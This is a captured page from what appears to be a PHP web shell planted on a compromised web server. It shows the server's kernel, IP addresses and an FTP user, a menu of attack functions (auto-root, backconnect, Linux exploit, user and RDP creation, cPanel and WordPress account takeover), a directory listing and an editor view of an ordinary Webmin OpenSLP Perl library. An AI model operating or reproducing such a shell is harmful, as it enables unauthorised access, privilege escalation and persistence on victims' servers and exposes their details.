Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.139
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
openslp /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
README
1.23
KB
-rw-r--r--
backup_config.pl
646
B
-rwxr-xr-x
config
120
B
-rw-r--r--
config-cobalt-linux
194
B
-rw-r--r--
config-coherent-linux
194
B
-rw-r--r--
config-freebsd
220
B
-rw-r--r--
config-mandrake-linux
176
B
-rw-r--r--
config-msc-linux
194
B
-rw-r--r--
config-open-linux
194
B
-rw-r--r--
config-openSUSE-Linux-15.0-ALL
194
B
-rw-r--r--
config-openmamba-linux
194
B
-rw-r--r--
config-pardus-linux
120
B
-rw-r--r--
config-redhat-linux
194
B
-rw-r--r--
config-suse-linux
194
B
-rw-r--r--
config-syno-linux
120
B
-rw-r--r--
config-trustix-linux
194
B
-rw-r--r--
config-turbo-linux
194
B
-rw-r--r--
config-united-linux
184
B
-rw-r--r--
config.info
336
B
-rw-r--r--
config.info.ca
394
B
-rw-r--r--
config.info.cs
383
B
-rw-r--r--
config.info.de
370
B
-rw-r--r--
config.info.ms
349
B
-rw-r--r--
config.info.nl
379
B
-rw-r--r--
config.info.no
352
B
-rw-r--r--
config.info.ru
519
B
-rw-r--r--
config.info.uk
546
B
-rw-r--r--
edit_dacfg.cgi
1.49
KB
-rwxr-xr-x
edit_log.cgi
2.7
KB
-rwxr-xr-x
edit_netcfg.cgi
8.4
KB
-rwxr-xr-x
edit_snda.cgi
2.04
KB
-rwxr-xr-x
index.cgi
2.23
KB
-rwxr-xr-x
install_check.pl
323
B
-rwxr-xr-x
module.info
174
B
-rw-r--r--
module.info.af
0
B
-rw-r--r--
module.info.af.auto
100
B
-rw-r--r--
module.info.ar
0
B
-rw-r--r--
module.info.ar.auto
113
B
-rw-r--r--
module.info.be
0
B
-rw-r--r--
module.info.be.auto
139
B
-rw-r--r--
module.info.bg
0
B
-rw-r--r--
module.info.bg.auto
182
B
-rw-r--r--
module.info.ca
102
B
-rw-r--r--
module.info.ca.auto
16
B
-rw-r--r--
module.info.cs
23
B
-rw-r--r--
module.info.cs.auto
81
B
-rw-r--r--
module.info.da
0
B
-rw-r--r--
module.info.da.auto
100
B
-rw-r--r--
module.info.de
86
B
-rw-r--r--
module.info.de.auto
16
B
-rw-r--r--
module.info.el
0
B
-rw-r--r--
module.info.el.auto
165
B
-rw-r--r--
module.info.es
0
B
-rw-r--r--
module.info.es.auto
117
B
-rw-r--r--
module.info.eu
0
B
-rw-r--r--
module.info.eu.auto
116
B
-rw-r--r--
module.info.fa
0
B
-rw-r--r--
module.info.fa.auto
125
B
-rw-r--r--
module.info.fi
0
B
-rw-r--r--
module.info.fi.auto
101
B
-rw-r--r--
module.info.fr
0
B
-rw-r--r--
module.info.fr.auto
113
B
-rw-r--r--
module.info.he
0
B
-rw-r--r--
module.info.he.auto
130
B
-rw-r--r--
module.info.hr
0
B
-rw-r--r--
module.info.hr.auto
106
B
-rw-r--r--
module.info.hu
0
B
-rw-r--r--
module.info.hu.auto
120
B
-rw-r--r--
module.info.it
0
B
-rw-r--r--
module.info.it.auto
118
B
-rw-r--r--
module.info.ja
0
B
-rw-r--r--
module.info.ja.auto
135
B
-rw-r--r--
module.info.ko
0
B
-rw-r--r--
module.info.ko.auto
111
B
-rw-r--r--
module.info.lt
0
B
-rw-r--r--
module.info.lt.auto
116
B
-rw-r--r--
module.info.lv
0
B
-rw-r--r--
module.info.lv.auto
118
B
-rw-r--r--
module.info.ms
84
B
-rw-r--r--
module.info.ms.auto
16
B
-rw-r--r--
module.info.mt
0
B
-rw-r--r--
module.info.mt.auto
114
B
-rw-r--r--
module.info.nl
23
B
-rw-r--r--
module.info.nl.auto
73
B
-rw-r--r--
module.info.no
23
B
-rw-r--r--
module.info.no.auto
77
B
-rw-r--r--
module.info.pl
0
B
-rw-r--r--
module.info.pl.auto
102
B
-rw-r--r--
module.info.pt
0
B
-rw-r--r--
module.info.pt.auto
117
B
-rw-r--r--
module.info.pt_BR
0
B
-rw-r--r--
module.info.pt_BR.auto
126
B
-rw-r--r--
module.info.ro
0
B
-rw-r--r--
module.info.ro.auto
114
B
-rw-r--r--
module.info.ru
29
B
-rw-r--r--
module.info.ru.auto
122
B
-rw-r--r--
module.info.sk
0
B
-rw-r--r--
module.info.sk.auto
104
B
-rw-r--r--
module.info.sl
0
B
-rw-r--r--
module.info.sl.auto
108
B
-rw-r--r--
module.info.sv
0
B
-rw-r--r--
module.info.sv.auto
98
B
-rw-r--r--
module.info.th
0
B
-rw-r--r--
module.info.th.auto
199
B
-rw-r--r--
module.info.tr
0
B
-rw-r--r--
module.info.tr.auto
104
B
-rw-r--r--
module.info.uk
0
B
-rw-r--r--
module.info.uk.auto
149
B
-rw-r--r--
module.info.ur
0
B
-rw-r--r--
module.info.ur.auto
161
B
-rw-r--r--
module.info.vi
0
B
-rw-r--r--
module.info.vi.auto
113
B
-rw-r--r--
module.info.zh
0
B
-rw-r--r--
module.info.zh.auto
90
B
-rw-r--r--
module.info.zh_TW
0
B
-rw-r--r--
module.info.zh_TW.auto
99
B
-rw-r--r--
save_dacfg.cgi
680
B
-rwxr-xr-x
save_log.cgi
1015
B
-rwxr-xr-x
save_netcfg.cgi
2.95
KB
-rwxr-xr-x
save_snda.cgi
1.03
KB
-rwxr-xr-x
slp-lib.pl
10.16
KB
-rwxr-xr-x
start.cgi
408
B
-rwxr-xr-x
stop.cgi
330
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : slp-lib.pl
# An OpenSLP webmin module # by Monty Charlton <monty@caldera.com>, # # Copyright (c) 2000 Caldera Systems # # Permission to use, copy, modify, and distribute this software and its # documentation under the terms of the GNU General Public License is hereby # granted. No representations are made about the suitability of this software # for any purpose. It is provided "as is" without express or implied warranty. # See the GNU General Public License for more details. # BEGIN { push(@INC, ".."); }; use WebminCore; &init_config(); #$config_file = "./config-$gconfig{'os_type'}"; $config_file = "$module_config_directory/config"; $config = &parse_config_file; # get_snda_config() sub get_snda_config { local $snda; flock SLP, 1 || &error("$text->{'error_flock_on'} $config->{'slpd_conf'}: $!\n"); open(SLP, "<".$config->{'slpd_conf'}) || &error("$text->{'error_open'} $config->{'slpd_conf'}: $!\n"); while(<SLP>) { s/\r|\n//g; if (/^(\s|#|;)*net.slp.useScopes\s*=\s*(.*)/) { push(@{$snda->{'useScopes'}}, split(/\s*,\s*/, $2)); $snda->{'useScopesDisabled'}++ if ($1 =~ /;|#/); } elsif (/^(\s|#|;)*net.slp.DAAddresses\s*=\s*(.*)/) { push(@{$snda->{'DAAddresses'}}, split(/\s*,\s*/, $2)); $snda->{'DAAddressesDisabled'}++ if ($1 =~ /;|#/); } } close(SLP); flock SLP, 8 || &error("$text->{'error_flock_off'} $config->{'slpd_conf'}: $!\n"); return $snda; } # get_netcfg_config() sub get_netcfg_config { local $netcfg; flock SLP, 1 || &error("$text->{'error_flock_on'} $config->{'slpd_conf'}: $!\n"); open(SLP, "<".$config->{'slpd_conf'}) || &error("$text->{'error_open'} $config->{'slpd_conf'}: $!\n"); while(<SLP>) { s/\r|\n//g; if (/^(\s|#|;)*net.slp.isBroadcastOnly\s*=\s*(\S+)/) { $netcfg->{'isBroadcastOnly'} = $2; $netcfg->{'isBroadcastOnlyDisabled'}++ if ($1 =~ /;|#/); } elsif (/^(\s|#|;)*net.slp.passiveDADetection\s*=\s*(\S+)/) { $netcfg->{'passiveDADetection'} = $2; $netcfg->{'passiveDADetectionDisabled'}++ if ($1 =~ /;|#/); } elsif (/^(\s|#|;)*net.slp.activeDADetection\s*=\s*(\S+)/) { $netcfg->{'activeDADetection'} = $2; $netcfg->{'activeDADetectionDisabled'}++ if ($1 =~ /;|#/); } elsif (/^(\s|#|;)*net.slp.DAActiveDiscoveryInterval\s*=\s*(\S+)/) { $netcfg->{'DAActiveDiscoveryInterval'} = $2; $netcfg->{'DAActiveDiscoveryIntervalDisabled'}++ if ($1 =~ /;|#/); } elsif (/^(\s|#|;)*net.slp.multicastTTL\s*=\s*(\S+)/) { $netcfg->{'multicastTTL'} = $2; $netcfg->{'multicastTTLDisabled'}++ if ($1 =~ /;|#/); } elsif (/^(\s|#|;)*net.slp.DADiscoveryMaximumWait\s*=\s*(\S+)/) { $netcfg->{'DADiscoveryMaximumWait'} = $2; $netcfg->{'DADiscoveryMaximumWaitDisabled'}++ if ($1 =~ /;|#/); } elsif (/^(\s|#|;)*net.slp.DADiscoveryTimeouts\s*=\s*(.*)/) { push(@{$netcfg->{'DADiscoveryTimeouts'}}, split(/\s*,\s*/, $2)); $netcfg->{'DADiscoveryTimeoutsDisabled'}++ if ($1 =~ /;|#/); } elsif (/^(\s|#|;)*net.slp.HintsFile\s*=\s*(\S+)/) { $netcfg->{'HintsFile'} = $2; $netcfg->{'HintsFileDisabled'}++ if ($1 =~ /;|#/); } elsif (/^(\s|#|;)*net.slp.multicastMaximumWait\s*=\s*(\S+)/) { $netcfg->{'multicastMaximumWait'} = $2; $netcfg->{'multicastMaximumWaitDisabled'}++ if ($1 =~ /;|#/); } elsif (/^(\s|#|;)*net.slp.multicastTimeouts\s*=\s*(.*)/) { push(@{$netcfg->{'multicastTimeouts'}}, split(/\s*,\s*/, $2)); $netcfg->{'multicastTimeoutsDisabled'}++ if ($1 =~ /;|#/); } elsif (/^(\s|#|;)*net.slp.unicastMaximumWait\s*=\s*(\S+)/) { $netcfg->{'unicastMaximumWait'} = $2; $netcfg->{'unicastMaximumWaitDisabled'}++ if ($1 =~ /;|#/); } elsif (/^(\s|#|;)*net.slp.randomWaitBound\s*=\s*(\S+)/) { $netcfg->{'randomWaitBound'} = $2; $netcfg->{'randomWaitBoundDisabled'}++ if ($1 =~ /;|#/); } elsif (/^(\s|#|;)*net.slp.MTU\s*=\s*(\S+)/) { $netcfg->{'MTU'} = $2; $netcfg->{'MTUDisabled'}++ if ($1 =~ /;|#/); } elsif (/^(\s|#|;)*net\.slp\.interfaces\s*=\s*(.*)/) { push(@{$netcfg->{'interfaces'}}, split(/\s*,\s*/, $2)); $netcfg->{'interfacesDisabled'}++ if ($1 =~ /;|#/); } } close(SLP); flock SLP, 8 || &error("$text->{'error_flock_off'} $config->{'slpd_conf'}: $!\n"); return $netcfg; } # get_dacfg_config() sub get_dacfg_config { local $dacfg; flock SLP, 1 || &error("$text->{'error_flock_on'} $config->{'slpd_conf'}: $!\n"); open(SLP, "<".$config->{'slpd_conf'}) || &error("$text->{'error_open'} $config->{'slpd_conf'}: $!\n"); while(<SLP>) { s/\r|\n//g; if (/^(\s|#|;)*net.slp.isDA\s*=\s*(\S+)/) { $dacfg->{'isDA'} = $2; $dacfg->{'isDADisabled'}++ if ($1 =~ /;|#/); } } close(SLP); flock SLP, 8 || &error("$text->{'error_flock_off'} $config->{'slpd_conf'}: $!\n"); return $dacfg; } # get_log_config() sub get_log_config { local $log; flock SLP, 1 || &error("$text->{'error_flock_on'} $config->{'slpd_conf'}: $!\n"); open(SLP, "<".$config->{'slpd_conf'}) || &error("$text->{'error_open'} $config->{'slpd_conf'}: $!\n"); while(<SLP>) { s/\r|\n//g; if (/^(\s|#|;)*net.slp.traceDATraffic\s*=\s*(\S+)/) { $dacfg->{'traceDATraffic'} = $2; $dacfg->{'traceDATrafficDisabled'}++ if ($1 =~ /;|#/); } elsif (/^(\s|#|;)*net.slp.traceMsg\s*=\s*(\S+)/) { $dacfg->{'traceMsg'} = $2; $dacfg->{'traceMsgDisabled'}++ if ($1 =~ /;|#/); } elsif (/^(\s|#|;)*net.slp.traceDrop\s*=\s*(\S+)/) { $dacfg->{'traceDrop'} = $2; $dacfg->{'traceDropDisabled'}++ if ($1 =~ /;|#/); } elsif (/^(\s|#|;)*net.slp.traceReg\s*=\s*(\S+)/) { $dacfg->{'traceReg'} = $2; $dacfg->{'traceRegDisabled'}++ if ($1 =~ /;|#/); } } close(SLP); flock SLP, 8 || &error("$text->{'error_flock_off'} $config->{'slpd_conf'}: $!\n"); return $dacfg; } # enable_list_line(&list, &line) sub enable_list_line { flock SLP, 1 || &error("$text->{'error_flock_on'} $config->{'slpd_conf'}: $!\n"); open(SLP, "<".$config->{'slpd_conf'}) || &error("$text->{'error_open'} $config->{'slpd_conf'}: $!\n"); local @slp = <SLP>; close(SLP); flock SLP, 8 || &error("$text->{'error_flock_off'} $config->{'slpd_conf'}: $!\n"); flock SLP, 2 || &error("$text->{'error_flock_on'} $config->{'slpd_conf'}: $!\n"); &open_tempfile(SLP, ">$config->{'slpd_conf'}") || &error("$text->{'error_open'} $config->{'slpd_conf'}: $!\n"); local $line = pop; local $list = join ",", @_; foreach(@slp) { if (/^(\s|#|;)*net.slp.$line\s*=\s*\S+/ && $list) { &print_tempfile(SLP, "net.slp.$line=$list\n"); } else { &print_tempfile(SLP, $_); } } &close_tempfile(SLP); flock SLP, 8 || &error("$text->{'error_flock_off'} $config->{'slpd_conf'}: $!\n"); } # enable_single_val_line(&val, &line) sub enable_single_val_line { open(SLP, "<".$config->{slpd_conf}) || &error("$text->{'error_open'} $config->{'slpd_conf'}: $!\n"); flock SLP, 1 || &error("$text->{'error_flock_on'} $config->{'slpd_conf'}: $!\n"); local @slp = <SLP>; close(SLP); flock SLP, 8 || &error("$text->{'error_flock_off'} $config->{'slpd_conf'}: $!\n"); flock SLP, 2 || &error("$text->{'error_flock_on'} $config->{'slpd_conf'}: $!\n"); &open_tempfile(SLP, ">$config->{'slpd_conf'}") || &error("$text->{'error_open'} $config->{'slpd_conf'}: $!\n"); local $line = pop; foreach(@slp) { if (/^(\s|#|;)*net.slp.$line\s*=\s*\S+\s*$/) { &print_tempfile(SLP, "net.slp.$line=@_[0]\n"); } else { &print_tempfile(SLP, $_); } } &close_tempfile(SLP); flock SLP, 8 || &error("$text->{'error_flock_off'} $config->{'slpd_conf'}: $!\n"); } # disable_line(line) sub disable_line { flock SLP, 1 || &error("$text->{'error_flock_on'} $config->{'slpd_conf'}: $!\n"); open(SLP, "<".$config->{'slpd_conf'}) || &error("$text->{'error_open'} $config->{'slpd_conf'}: $!\n"); local @slp = <SLP>; close(SLP); flock SLP, 8 || &error("$text->{'error_flock_off'} $config->{'slpd_conf'}: $!\n"); flock SLP, 2 || &error("$text->{'error_flock_on'} $config->{'slpd_conf'}: $!\n"); &open_tempfile(SLP, ">$config->{'slpd_conf'}") || &error("$text->{'error_open'} $config->{'slpd_conf'}: $!\n"); foreach(@slp) { if (/^(\s|#|;)*net.slp.@_[0]\s*=\s*(\S+)/) { &print_tempfile(SLP, ";net.slp.@_[0]=$2\n"); } else { &print_tempfile(SLP, $_); } } &close_tempfile(SLP); flock SLP, 8 || &error("$text->{'error_flock_off'} $config->{'slpd_conf'}: $!\n"); } # parse_config_file sub parse_config_file { local %dummy; flock FH, 1 || &error("$text->{'error_flock_on'} $config_file: $!\n"); open(FH, "<".$config_file) || &error("$text->{'error_open'} $config_file: $!\n"); while (<FH>) { $dummy{$1} = $2 if (/(\S+)=(.+)/) } return \%dummy; close(FH); flock FH, 8 || &error("$text->{'error_flock_off'} $config_file: $!\n"); } # restart sub restart { local $pid; flock PID, 1 || &error("$text->{'error_flock_on'} $config->{'slpd_pid'}: $!\n"); open(PID, "<".$config->{'slpd_pid'}) || &start_slpd; while (<PID>) { $pid=$1, last if (/(\d+)/) } close(PID); flock PID, 8 || &error("$text->{'error_flock_off'} $config->{'slpd_pid'}: $!\n"); if ($pid =~ /\d+/) { kill('HUP', $pid) || &error("$text->{'error_hup'}: $config->{'slpd_pid'}\n"); } else { &start_slpd; } } # is slpd running? sub slpd_is_running { local $pid; flock PID, 1 || &error("$text->{'error_flock_on'} $config->{'slpd_pid'}: $!\n"); open(PID, "<".$config->{'slpd_pid'}) || return 0; while (<PID>) { $pid=$1, last if (/(\d+)/) } close(PID); flock PID, 8 || &error("$text->{'error_flock_off'} $config->{'slpd_pid'}: $!\n"); if ($pid =~ /\d+/) { # the pid file has a number in it but # we need to check if slpd is _actually_ running if (kill 0 => $pid) { return $pid; } else { &stop_slpd; return 0; } } else { return 0; } } sub start_slpd { &error_setup($text->{'start_err'}); local $temp = &transname(); local $rv = &system_logged("($config->{'start_cmd'}) >$temp 2>&1"); local $out = `cat $temp`; unlink($temp); sleep(2); &webmin_log("start"); } sub stop_slpd { $out = &backquote_logged("$config->{'stop_cmd'} 2>&1"); &error_setup($text->{'stop_err'}); if ($?) { &error("<pre>$?\n$out</pre>"); } &webmin_log("stop"); } 1;
Close